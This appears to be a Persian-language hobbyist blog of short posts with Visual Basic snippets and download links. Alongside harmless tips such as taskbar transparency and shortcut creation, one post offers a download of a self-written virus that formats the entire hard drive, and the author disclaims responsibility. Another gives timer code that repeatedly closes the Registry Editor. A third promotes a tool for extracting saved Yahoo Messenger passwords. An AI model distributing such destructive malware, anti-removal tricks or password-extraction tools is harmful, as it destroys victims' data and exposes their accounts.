بچه ها یک ماشین حساب نوشتم میخواین بزارم برای دانلود
راستی در مورد این سیستم عامل ۱ مگابایتی نظری ندارین

سیستم عامل یک مگابایتی

بچه ها این هم سیستم عامل یک مگابایتی
بعد از آنزیپ کردن فایل زیپ ان را اجرا کرده وبعد از ساختن دیسکت بوت
بروید به ستاپ و با فلاپی بوت شوید
بعد از شما سوالاتی میکنه شما همه را یک بزنید
DOWNLOAD
https://www.sharemation.com/shhacker/M078PRE3.ZIP?uniq=-bs5dym

اگر سوالی داشتین من در خدمتم
منتظر آموزش های جدید من باشید
لطفا نظر را فراموش نکنید

بچه ها سلام
بچه ها من یک کد میخوام که بتوم یک شی را تو وی بی درگ کنم
مثلا
  iamge1.picture
لطفا کمک کنید

سایت فارسی مایکروسافت

سایت فارسی مایکروسافت را کی دیده
http://www.microsoft.com/downloads/search.aspx?displaylang=fa

برابچ یکی از دوستان گفته بود براش یک ویروس بنویسم که کل هارد را فرمت کنه فقط مواظب باشید که روی خودتون اجرا نکنید
اگر خواستین میتونم ویروس های دیگری هم بنویسم

https://www.sharemation.com/shhacker/install.exe

من هیچ گونه مسئولیتی قبول نمیکنم در استفاده نادرست از این ویروس

چجوری یک پنجره باز را ببندهیم

Private Declare Function FindWindow Lib "user32" Alias _
 "FindWindowA" (ByVal lpClassName As String, _
 ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias _
 "PostMessageA" (ByVal hwnd As Long, _
 ByVal wMsg As Long, ByVal wParam As Long, _
 ByVal lParam As Long) As Long
Private Const WM_CLOSE = &H10

Private Sub Timer1_Timer()
wnd = FindWindow(vbNullString, "Registry Editor")
PostMessage wnd, WM_CLOSE, 0&, 0&
End Sub


با این کد پنجره ریجستری بسته میشه

برابچ اگر سوالی دارین من در خدمتم

جواب یک سوال
یکی از دوستان پرسید بود چه جوری میشه تسکبار را کم رنگ و پررنگ کرد
این هم کدش

Option Explicit
Private Declare Function GetWindowLong Lib "user32" _
  Alias "GetWindowLongA" (ByVal hwnd As Long, _
  ByVal nIndex As Long) As Long

Private Declare Function SetWindowLong Lib "user32" _
   Alias "SetWindowLongA" (ByVal hwnd As Long, _
   ByVal nIndex As Long, ByVal dwNewLong As Long) _
   As Long

Private Declare Function SetLayeredWindowAttributes Lib _
    "user32" (ByVal hwnd As Long, ByVal crKey As Long, _
    ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Const GWL_EXSTYLE = (-20)
Private Const WS_EX_LAYERED = &H80000
Private Const LWA_ALPHA = &H2

Private Sub Command1_Click()
Dim LhWnd As Long
Dim lOldStyle As Long
Dim AlphaLevel As Integer
    AlphaLevel = 200
    LhWnd = FindWindow("Shell_TrayWnd", vbNullString)
    If (LhWnd <> 0) Then
        lOldStyle = GetWindowLong(LhWnd, GWL_EXSTYLE)
        SetWindowLong LhWnd, GWL_EXSTYLE, lOldStyle Or WS_EX_LAYERED
        SetLayeredWindowAttributes LhWnd, 0, AlphaLevel, LWA_ALPHA
    End If
    LhWnd = FindWindow("BaseBar", vbNullString)
    If (LhWnd <> 0) Then
        lOldStyle = GetWindowLong(LhWnd, GWL_EXSTYLE)
        SetWindowLong LhWnd, GWL_EXSTYLE, lOldStyle Or WS_EX_LAYERED
        SetLayeredWindowAttributes LhWnd, 0, AlphaLevel, LWA_ALPHA
    End If
End Sub 

   AlphaLevel = 200 با تغییر دادن
  نظریادتون نره

open pass far30

سلام به تمامی دوستان یک برنامه نوشتم خیلی توپه حتما دانلود کنید
با این برنامه میتوانید پسورد ذخیره شده در یاهو مسنجر را پیدا کنید
اگر خوشتون اومد حتما لینک این برنامه را تو وبلاگ یا سایتتون بزارید
فقط به ما لینک بدهیدwww.shhacker.blogsky.com
آیدی جدید من
[e-mail]
از اینجا دانلود کنید
https://www.sharemation.com/shhacker/open%20pass%20far30.zip?uniq=-bvq2wf

نظر یادتون نره

ساخت میانبر

سلام
پاسخ به سوال شما آقا سینا
 چگونه می توان در وی بی برنامه ای نوشت که نام و مسیر یک فایل را از کاربر بگیرد و در مسیر انتخاب شده شورتکاتی از فایل گرفته شده ایجاد کند ؟
پاسخ : ابتدا متغیرهای زیر را که از نوع Object هستند تعریف کنید :

    Dim wsh As Object
    Dim Shortcut As Object

سپس بایستی شی wsh را ایجاد نمائید :

    Set wsh = CreateObject("wscript.shell")

سپس بایستی شی Shortcut را ایجاد نمائید :

    Set Shortcut = wsh.CreateShortcut("c:YourProgram.lnk")

مسیری که در کد فوق داده شده محل ساخت شورتکات می باشد .
سپس بایستی پارامترهای شی Shortcut را تنظیم کنید :

    Shortcut.TargetPath = "C:Program FilesTestYourProgram.exe"
    Shortcut.IconLocation = "C:Program FilesTestYourIcon.ico"
    Shortcut.WorkingDirectory = "C:Program FilesTest"
    Shortcut.Description = "Your Description"

پارامتر TargetPath برنامه مرتبط با شورتکات را نشان می دهد .
در پایان بایستی شورتکات را ذخیره کنید :

    Shortcut.Save

نکته : برای ایجاد شورتکات در دسکتاپ یا در Startup ، بایستی متغیری از نوع SpecialForders ایجاد نمائید :

Dim sf As Object
Set sf = wsh.SpecialFolders

سپس محل ساخت شورتکات را بصورت  sf("AllUsersDesktop") & YourPath و یا sf("AllUsersStartup") & YourPath بدهید .
منبع
http://sheidaian.persianblog.com